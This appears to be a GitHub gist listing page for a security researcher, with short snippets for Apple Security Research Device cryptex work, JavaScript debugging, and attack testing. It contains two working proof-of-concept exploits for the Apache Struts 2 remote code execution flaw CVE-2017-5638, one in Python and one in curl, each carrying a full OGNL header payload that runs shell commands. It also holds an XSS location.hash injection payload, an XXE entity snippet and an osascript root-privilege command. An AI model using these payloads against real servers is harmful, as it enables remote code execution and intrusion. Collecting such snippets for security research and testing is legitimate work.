Skip to content

Instantly share code, notes, and snippets.

View xsscx's full-sized avatar

David Hoyt xsscx

View GitHub Profile
@xsscx
xsscx / apple.security-research-device-example-print-magicnumber-script.sh
Created March 6, 2022 12:59
SRD Print Default Magic Numbers from ./example-cryptex/
#!/bin/sh
hexdump -n 4 com.example.cryptex.dstroot/usr/bin/hello
hexdump -n 4 com.example.cryptex.dstroot/usr/bin/toybox
hexdump -n 4 com.example.cryptex.dstroot/usr/bin/simple-shell
hexdump -n 4 com.example.cryptex.dstroot/usr/bin/simple-server
hexdump -n 4 com.example.cryptex.dstroot/usr/bin/nvram
hexdump -n 4 com.example.cryptex.dstroot/usr/bin/debugserver
hexdump -n 4 com.example.cryptex.dstroot/usr/bin/cryptex-run
hexdump -n 4 com.example.cryptex.dstroot/usr/bin/frida-server
hexdump -n 4 com.example.cryptex.dstroot/usr/bin/libclang_rt.ubsan_ios_dynamic.dylib
#!/bin/sh
echo "unmounting com.example.cryptex"
cryptexctl uninstall com.example.cryptex
echo "Start the Build"
cp src/hello/Makefile.dist src/hello/Makefile
make clean
make all
echo "Start of entitlement checks..... for example-cryptex with debugserver and latest entitlements from PR48 + PR49....."
rm /private/tmp/*.xml
echo "Check the entitlements in the src/"
@xsscx
xsscx / gist:a1db9a493a5c9bb6fe849176c3443f23
Created October 26, 2021 13:36
console location.hash js manual injection check for xss window.location.hash
console.log(location.hash);
var tabValue = document.URL;
window.location = tabValue.substring(0, tabValue.lastIndexOf("#"));
console.log(location.hash);
window.location.hash = `#<noscript><script>console.log(document.location)&k7="><svg/t='&k8='onload='/&k9=/+eval(t)'`
location.reload();
console.log(location.hash);
/usr/bin/osascript -e 'do shell script "whoami" user name "root" password "" with administrator privileges'
<!DOCTYPE roottag [
<!ENTITY windowsfile SYSTEM ".">
]>
<roottag>
<sometag>&windowsfile;</sometag>
</roottag>
@xsscx
xsscx / CVE-2017-5638.py
Last active March 10, 2017 16:51
Check for CVE-2017-5638 by XSS.Cx in python with debug on
#!/usr/bin/python
# -*- coding: utf-8 -*-
import urllib2
import urllib3
import requests
import httplib
import logging
from requests.packages.urllib3.exceptions import InsecureRequestWarning
@xsscx
xsscx / CVE-2017-5638.txt
Created March 10, 2017 02:09
PoC for CVE-2017-5638 Apache Struts 2 Remote Code Execution in python
import requests
requests.get("https://target.action", headers={"Connection": "close", "Accept": "*/*", "User-Agent": "Mozilla/5.0 ", "Content-Type": "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"})
@xsscx
xsscx / CVE-2017-5638.txt
Last active September 21, 2023 22:10
PoC for CVE-2017-5638 Apache Struts 2 Remote Code Execution in CURL
curl -i -s -k -X $'GET' \
-H $'User-Agent: Mozilla/5.0' -H $'Content-Type: %{(#_=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'ls -lat /\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}' \
$'https://target'
@xsscx
xsscx / gist:4c53cc2a0123717f571aaa8952e876a2
Created March 9, 2017 13:30
IE 10 Compat List - Domain List for IE10 Compat Sites
https://iecvlist.microsoft.com/IE10/1152921505002013023/iecompatviewlist.xml
@xsscx
xsscx / gist:e8d3452e9861283bffeb6763cb194fd1
Created March 2, 2017 17:20
Javascript Debugging Break on onhashchange
['onhashchange', 'onhashchange'].forEach(function (evName) {
window.addEventListener(evName, function () {
debugger; // Chance to check everything right before the redirect occurs
});
});